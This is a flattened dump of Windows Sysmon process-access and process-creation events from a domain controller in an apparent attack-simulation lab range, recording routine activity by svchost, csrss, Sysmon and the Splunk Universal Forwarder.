09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5D00-000000007F01}3732C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.793{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D3-5F80-5D00-000000007F01}3732C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.795{A5F018FF-28D3-5F80-5D00-000000007F01}3732C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5C00-000000007F01}3776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5C00-000000007F01}3776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28D3-5F80-5B00-000000007F01}37163784C:\Windows\system32\cmd.exe{A5F018FF-28D3-5F80-5C00-000000007F01}3776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.556{A5F018FF-28D3-5F80-5C00-000000007F01}3776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-28D3-5F80-5B00-000000007F01}3716C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 10341000x80000000000000002105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5B00-000000007F01}3716C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 